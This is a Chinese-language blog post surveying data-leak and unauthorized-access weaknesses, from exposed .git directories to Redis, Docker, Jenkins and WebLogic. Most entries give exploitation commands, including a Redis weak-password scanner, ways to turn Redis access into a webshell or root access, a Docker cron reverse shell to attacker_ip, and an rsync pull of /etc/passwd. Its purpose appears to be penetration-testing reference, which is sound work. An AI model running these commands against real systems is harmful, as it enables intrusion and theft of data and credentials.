当前位置:首页 > 技术 > 正文内容

敏感数据泄露风险全景分析

访客 技术 2026年7月12日 2

本报告系统梳理了软件开发与运维中常见的敏感信息泄露场景,涵盖源代码泄露、服务器配置缺陷、组件未授权访问及云存储凭证泄露四大类,并提供检测方法与修复建议。

一、源代码泄露

1. Git 仓库泄露

使用 git init 初始化项目时,会在根目录生成 .git 文件夹,其中包含完整的版本历史、分支信息和代码快照。若直接将此目录部署到生产环境,攻击者可通过工具如 GitHack 恢复项目源码。

# 使用 GitHack 恢复源码
python GitHack.py http://target.com/.git/

修复措施: 生产环境彻底移除 .git 目录,或通过 Web 服务器配置(如 Nginx 的 deny 规则)禁止对其访问。

2. SVN 仓库泄露

SVN(Subversion)的 .svn 隐藏目录存储了版本变更信息。如果开发人员直接复制工作副本到 Web 目录,攻击者可借助 Seay SVN 工具读取 .svn/entries 文件,获取文件列表甚至完整源码。

修复措施: 使用 SVN 的"导出"功能发布代码,并删除服务器上所有 .svn 文件夹。

3. Mercurial (hg) 泄露

Mercurial 初始化时生成 .hg 目录。工具 dvcs-ripper 可递归提取其中的文件。

perl rip-hg.pl -v -u http://target.com/.hg/

4. CVS 泄露

CVS(Concurrent Versions System)在项目中留下 CVS/RootCVS/Entries 文件,暴露服务器信息和文件结构。

http://target.com/CVS/Entries  # 获取文件列表

使用 dvcs-ripper 中的 rip-cvs.pl 可批量获取。

5. Bazaar (bzr) 泄露

Bazaar 是另一款版本控制工具,默认生成 .bzr 目录。利用 dvcs-ripper 的 rip-bzr.pl 可挖掘其中信息。

6. 网站备份文件泄露

管理员将备份文件(如 .zip, .tar.gz, .bak)放置在 Web 目录中,可通过路径爆破工具(如御剑)直接下载。

7. WEB-INF/web.xml 泄露

Java Web 应用的 WEB-INF/web.xml 文件定义了 Servlet、过滤器和初始化参数。若能直接访问,通常会暴露类文件路径、数据库连接配置等。通过反编译获取的 class 文件可还原业务逻辑。

8. .DS_Store 文件泄露

macOS 自动生成的 .DS_Store 文件包含文件夹内文件列表信息。工具 ds_store_exp 可解析该文件,列出目录结构。

python ds_store_exp.py http://target.com/.DS_Store

9. SWP 临时文件泄露

使用 Vim 编辑文件时,若编辑器异常退出,会残留 .filename.swp 文件。直接访问并下载,移除 .swp 后缀即可获得源码。

10. GitHub 源码搜索泄露

开发者在 GitHub 等公开平台托管代码时,往往无意中嵌入了敏感信息(如密码、Token)。可通过正则表达式搜索获取。

# 搜索 GitHub 中 smtp+user 相关的代码
https://github.com/search?q=smtp+user+%40example.com&type=code

二、服务器配置泄露

1. Apache 示例文件泄露

Apache 自带的示例 Servlet 和 JSP 文件若未删除,可能提供调试信息。

/examples/servlets/servlet/CookieExample
/examples/jsp/snp/snoop.jsp

2. IIS 短文件名泄露

IIS 支持 8.3 短文件名,攻击者可通过特定请求猜解目录和文件名称。工具 IIS_shortname_Scanner 可自动化此过程。

3. Tomcat 大小写泄露

Tomcat 中将 JSP 文件后缀名改为大写(如 .jsp.JSP),即可直接查看源码。

三、组件未授权访问

1. Druid 未授权访问

阿里 Druid 连接池的管理页面若未加权限,可泄露 SQL 监控、Web Session 等数据。

# 常见访问路径
ip/druid/index.html
ip/druid/sql.html
ip/druid/websession.json

利用泄露的 Session 可进一步伪造用户身份。

2. Redis 未授权访问/弱口令

Redis 绑定在 0.0.0.0:6379 且无密码时,可远程执行任意操作。

批量检测脚本示例:

import socket, sys

PASSWORD_DIC = ['redis','root','admin','123456']
def check(ip, port, timeout=10):
    try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, int(port)))
        s.send(b"INFO\r\n")
        result = s.recv(1024)
        if b"redis_version" in result:
            return "未授权访问"
        elif b"Authentication" in result:
            for pwd in PASSWORD_DIC:
                s = socket.socket()
                s.settimeout(timeout)
                s.connect((ip, port))
                s.send(f"AUTH {pwd}\r\n".encode())
                resp = s.recv(1024)
                if b'+OK' in resp:
                    return f"弱口令:{pwd}"
    except Exception:
        return None

if __name__ == "__main__":
    print(check(sys.argv[1], int(sys.argv[2])))

2.1 利用方法

  • 写入 WebShell: 更改 dirdbfilename 后写入 PHP 代码。
  • SSH 公钥认证: 若以 root 运行,可将公钥写入 /root/.ssh/authorized_keys,实现免密登录。
  • Cron 反弹 Shell: 写入定时任务到 /var/spool/cron/root
  • 主从复制 RCE: 利用 Redis 主从同步加载恶意 .so 文件(工具:redis-rogue-server)。

3. MongoDB 未授权访问

MongoDB 默认无认证,端口 27017 暴露在公网即可被直接操作。使用 NoSQLBooster 等图形化工具可快速连接并导出数据。

4. JavaMelody 泄露

JavaMelody 监控页面默认位于 /monitoring,可能暴露系统性能、HTTP 请求等敏感数据。

5. Swagger 扫描

Swagger API 文档页面若未保护,可泄露接口参数、返回结构。

# 常见路径
/swagger-ui.html
/v1.x/swagger-ui.html

6. Kibana 未授权访问

Kibana 默认端口 5601,若未加认证,可直接搜索 Elasticsearch 中的全部数据。

7. Spring Boot Actuator 配置不当

Actuator 暴露了大量监控和诊断端点。

# 关键端点
/env           # 环境变量(含数据库密码)
/beans         # Spring Bean 关系
/trace         # HTTP 请求跟踪(可能含 Token)
/heapdump      # JVM 内存快照(可提取密码)

进阶利用: 结合 /jolokia/exec 端点与 Logback 的 reloadByURL 可触发 XXE 或任意文件读取。

8. Elasticsearch 未授权访问

端口 9200 未受控时,可枚举索引、查询文档。

# 常用 API
/_cat/indices
/_search?q=password

9. Jenkins 未授权访问

/script 页面可直接执行 Groovy 脚本,实现命令执行。

# 在 script 控制台中执行系统命令
println "whoami".execute().text

10. JBoss 未授权访问

默认访问 /jmx-console 无需密码,可通过 JexBoss 部署 War 包获得服务器控制权。

11. Hadoop 未授权

YARN ResourceManager 的 REST API(端口 8088)可提交恶意应用,反弹 Shell。

# 通过 Py 脚本提交 application
requests.post(url + 'ws/v1/cluster/apps', json={...})

12. VNC 未授权访问

VNC 服务(端口 5900/5901)如无密码,可直接使用 VNC Viewer 连接。

利用方法:

直接输入 IP 和端口,无需认证即可控制远程桌面。

13. Docker 未授权

Docker daemon 监听在 2375 端口时,可通过 API 创建挂载宿主机根目录的容器。

sudo docker -H tcp://target:2375 run -it -v /:/mnt nginx bash
# 写入 Cron 任务实现反弹 Shell
echo '* * * * * /bin/bash -i >& /dev/tcp/attacker_ip/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

14. Zookeeper 未授权

端口 2181 上执行 envi 命令可获取系统信息。

echo envi | nc target 2181

15. Rsync 未授权

端口 873 可匿名访问模块。

# 列出模块
rsync rsync://target:873/
# 下载文件
rsync -av rsync://target:873/src/etc/passwd .

16. ActiveMQ 未授权

控制台端口 8161 默认凭据 admin/admin,可能导致 RCE。

17. Dubbo 未授权

默认端口 20880/2181 可直接访问,暴露服务注册信息。

18. Jupyter Notebook 未授权

若未设置密码,可在 New → Terminal 中获取 OS Shell。

19. Kubernetes API Server 未授权

直接访问 API 端口(6443/443)可列出所有 Pod。

curl https://target:6443/pods

20. LDAP 未授权

端口 389 或 636 可使用 LDAP Browser 工具直接浏览目录内容。

21. Memcached 未授权

端口 11211 可通过 telnet 连接,使用 stats 命令获取统计信息。

22. NFS 未授权

使用 showmount -e target 可列出共享目录,并可挂载到本地。

23. RabbitMQ 未授权

管理界面端口 15672 默认凭据 guest/guest。

24. Solr 未授权

访问 /solr/admin 可获取配置信息与数据。

25. Spark 未授权

使用 Metasploit 模块 exploit/linux/http/spark_unauth_rce 可远程执行命令。

26. WebLogic 未授权

CVE-2020-14882/14883 组合可绕过认证并执行任意命令。

# 绕过 URL
http://target:7001/console/css/%252e%252e%252fconsole.portal

27. Zabbix 未授权

默认端口 10051,若未配置鉴权,可获取监控数据和执行脚本。

28. CouchDB 未授权

端口 5984 直接暴露数据库,访问 /_config 可获取配置。

四、云存储凭证泄露

以下为各大云厂商的典型凭证格式,一旦泄露可导致数据完全被窃取。

  • 阿里云: accessKeyId, accessKeySecret
  • 华为云: huawei.oss.ak, huawei.oss.sk, huawei.oss.bucket.name
  • 谷歌云: JSON 格式凭证,包含 type, project_id, private_key
  • 微软 Azure: AccountName, AccountKey
  • 腾讯云: secretId, secretKey
  • AWS S3: aws_access_key_id, aws_secret_access_key, aws_session_token
标签: gitSVN

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。